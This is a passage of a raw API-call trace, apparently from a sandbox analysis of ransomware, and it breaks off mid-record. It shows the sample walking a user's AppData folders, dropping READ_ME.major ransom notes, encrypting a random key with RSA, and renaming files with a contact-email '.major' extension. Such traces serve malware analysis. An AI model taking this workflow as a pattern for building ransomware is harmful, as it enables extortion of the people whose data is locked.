dwFlags=0x0, lpMem=0x5cd9e8 | out: hHeap=0x570000) returned 1 [0207.353] FindNextFileW (in: hFindFile=0x2f2d458, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32101b77, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32101b77, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32101b77, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0207.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0207.353] GetLastError () returned 0x0 [0207.353] GetLastError () returned 0x0 [0207.354] GetLastError () returned 0x0 [0207.354] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9d30 | out: hHeap=0x570000) returned 1 [0207.354] FindNextFileW (in: hFindFile=0x2f2d458, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Security", cAlternateFileName="")) returned 1 [0207.354] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0207.354] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0207.354] GetLastError () returned 0x0 [0207.354] GetLastError () returned 0x0 [0207.354] GetLastError () returned 0x0 [0207.354] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9c40 | out: hHeap=0x570000) returned 1 [0207.354] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9d30 | out: hHeap=0x570000) returned 1 [0207.354] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0207.354] GetLastError () returned 0x0 [0207.354] GetLastError () returned 0x0 [0207.354] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0207.354] GetLastError () returned 0x0 [0207.354] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1510 [0207.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65c8d0 | out: hHeap=0x570000) returned 1 [0207.358] WriteFile (in: hFile=0x1510, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.359] CloseHandle (hObject=0x1510) returned 1 [0207.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6643a0 | out: hHeap=0x570000) returned 1 [0207.360] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0207.360] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0207.360] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0207.360] FindNextFileW (in: hFindFile=0x2f2d458, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Security", cAlternateFileName="")) returned 0 [0207.360] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0207.360] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0207.360] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656c40 | out: hHeap=0x570000) returned 1 [0207.360] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x32101b77, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d218 [0207.360] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0207.360] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0207.360] GetLastError () returned 0x12 [0207.360] GetLastError () returned 0x12 [0207.360] GetLastError () returned 0x12 [0207.360] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be8f0 | out: hHeap=0x570000) returned 1 [0207.360] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2d558 | out: hHeap=0x570000) returned 1 [0207.361] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0207.361] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9ec0 | out: hHeap=0x570000) returned 1 [0207.361] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0207.361] FindNextFileW (in: hFindFile=0x2f2d218, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x32101b77, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.361] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b3d0 | out: hHeap=0x570000) returned 1 [0207.361] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0207.361] GetLastError () returned 0x12 [0207.361] GetLastError () returned 0x12 [0207.361] GetLastError () returned 0x12 [0207.361] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be898 | out: hHeap=0x570000) returned 1 [0207.361] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2d098 | out: hHeap=0x570000) returned 1 [0207.361] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0207.361] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9d30 | out: hHeap=0x570000) returned 1 [0207.361] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0207.361] FindNextFileW (in: hFindFile=0x2f2d218, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 1 [0207.361] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0207.361] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0207.361] GetLastError () returned 0x12 [0207.361] GetLastError () returned 0x12 [0207.361] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0207.361] GetLastError () returned 0x12 [0207.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9d30 | out: hHeap=0x570000) returned 1 [0207.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9b78 | out: hHeap=0x570000) returned 1 [0207.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0207.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0207.362] GetLastError () returned 0x12 [0207.362] GetLastError () returned 0x12 [0207.362] GetLastError () returned 0x12 [0207.362] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\assetcache\\g7zd37y5\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1514 [0207.363] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x667068 | out: hHeap=0x570000) returned 1 [0207.363] WriteFile (in: hFile=0x1514, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.364] CloseHandle (hObject=0x1514) returned 1 [0207.364] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6651b0 | out: hHeap=0x570000) returned 1 [0207.364] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0207.364] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0207.364] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65d088 | out: hHeap=0x570000) returned 1 [0207.364] FindNextFileW (in: hFindFile=0x2f2d218, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32101b77, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32101b77, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32101b77, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.364] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664468 | out: hHeap=0x570000) returned 1 [0207.364] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0207.364] GetLastError () returned 0x0 [0207.364] GetLastError () returned 0x0 [0207.364] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0207.364] GetLastError () returned 0x0 [0207.365] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9e70 | out: hHeap=0x570000) returned 1 [0207.365] FindNextFileW (in: hFindFile=0x2f2d218, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32101b77, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32101b77, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32101b77, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.365] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0207.365] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0207.365] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656da8 | out: hHeap=0x570000) returned 1 [0207.365] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x32101b77, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d7d8 [0207.365] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6643a0 | out: hHeap=0x570000) returned 1 [0207.365] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0207.365] GetLastError () returned 0x12 [0207.365] GetLastError () returned 0x12 [0207.365] GetLastError () returned 0x12 [0207.365] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0207.365] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2d2d8 | out: hHeap=0x570000) returned 1 [0207.365] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404b0 | out: hHeap=0x570000) returned 1 [0207.365] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9e70 | out: hHeap=0x570000) returned 1 [0207.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0207.366] FindNextFileW (in: hFindFile=0x2f2d7d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x32101b77, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0207.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0207.366] GetLastError () returned 0x12 [0207.366] GetLastError () returned 0x12 [0207.366] GetLastError () returned 0x12 [0207.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be898 | out: hHeap=0x570000) returned 1 [0207.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2d498 | out: hHeap=0x570000) returned 1 [0207.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0207.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9ab0 | out: hHeap=0x570000) returned 1 [0207.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0207.366] FindNextFileW (in: hFindFile=0x2f2d7d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 1 [0207.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0207.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0207.366] GetLastError () returned 0x12 [0207.366] GetLastError () returned 0x12 [0207.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0207.366] GetLastError () returned 0x12 [0207.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0207.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9a60 | out: hHeap=0x570000) returned 1 [0207.367] FindNextFileW (in: hFindFile=0x2f2d7d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32101b77, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32101b77, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32101b77, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0207.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0207.367] GetLastError () returned 0x12 [0207.367] GetLastError () returned 0x12 [0207.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0207.367] GetLastError () returned 0x12 [0207.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9ec0 | out: hHeap=0x570000) returned 1 [0207.367] FindNextFileW (in: hFindFile=0x2f2d7d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32101b77, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32101b77, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32101b77, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.367] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0207.367] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory", dwFileAttributes=0x80) returned 1 [0207.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x666b60 | out: hHeap=0x570000) returned 1 [0207.368] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\nativecache\\nativecache.directory"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1518 [0207.368] GetFileSizeEx (in: hFile=0x1518, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0207.369] ReadFile (in: hFile=0x1518, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0207.369] SetFilePointer (in: hFile=0x1518, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0207.369] WriteFile (in: hFile=0x1518, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0207.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0207.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0207.369] SetFilePointer (in: hFile=0x1518, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0207.369] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.369] WriteFile (in: hFile=0x1518, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.370] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0207.370] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0207.370] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0207.370] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="cdjCT9wGOm2nQGqeIbsN+9lzaEktzTprhF+vMnZj5KAAitrajZtJky6/jAiKQQtX\nDGZa2igpIMN+x9NGpbmQSwxMypwR99i4wfb6DZRE/RifeJQPj8AopePcDvhKEYX2\n1UkpEQMx+ENrEWa4u6gTq6Ztta4BL/NEr8GIGISBY2gY88MchXe0UjNPuzo+3Jxw\nhgj5rDa99ImdK1qJcRjcWu9tvOd7SsDTVE0QSkfDBSnxHW8BUf5SWipdY7lDRKhG\nN1L/tQ2M2nd9wtm4vcITUly1cbeN4UWndpVgPJZ2D95G6svThdR7GazSSbKDQyvw\n7guUWjfRVGNDbQ/u2snOuQ==\n", pcchString=0x2e3f9a8) returned 1 [0207.370] WriteFile (in: hFile=0x1518, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0207.371] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.371] WriteFile (in: hFile=0x1518, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.371] CloseHandle (hObject=0x1518) returned 1 [0207.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0207.371] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\nativecache\\nativecache.directory"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\nativecache\\nativecache.directory.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0207.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4ae0 | out: hHeap=0x570000) returned 1 [0207.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9c40 | out: hHeap=0x570000) returned 1 [0207.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x667570 | out: hHeap=0x570000) returned 1 [0207.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x666430 | out: hHeap=0x570000) returned 1 [0207.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0207.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0207.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656c90 | out: hHeap=0x570000) returned 1 [0207.373] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x32101b77, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d758 [0207.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6651b0 | out: hHeap=0x570000) returned 1 [0207.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0207.373] GetLastError () returned 0x0 [0207.373] GetLastError () returned 0x0 [0207.374] GetLastError () returned 0x0 [0207.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be420 | out: hHeap=0x570000) returned 1 [0207.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2d118 | out: hHeap=0x570000) returned 1 [0207.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403f0 | out: hHeap=0x570000) returned 1 [0207.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9b78 | out: hHeap=0x570000) returned 1 [0207.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0207.374] FindNextFileW (in: hFindFile=0x2f2d758, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, 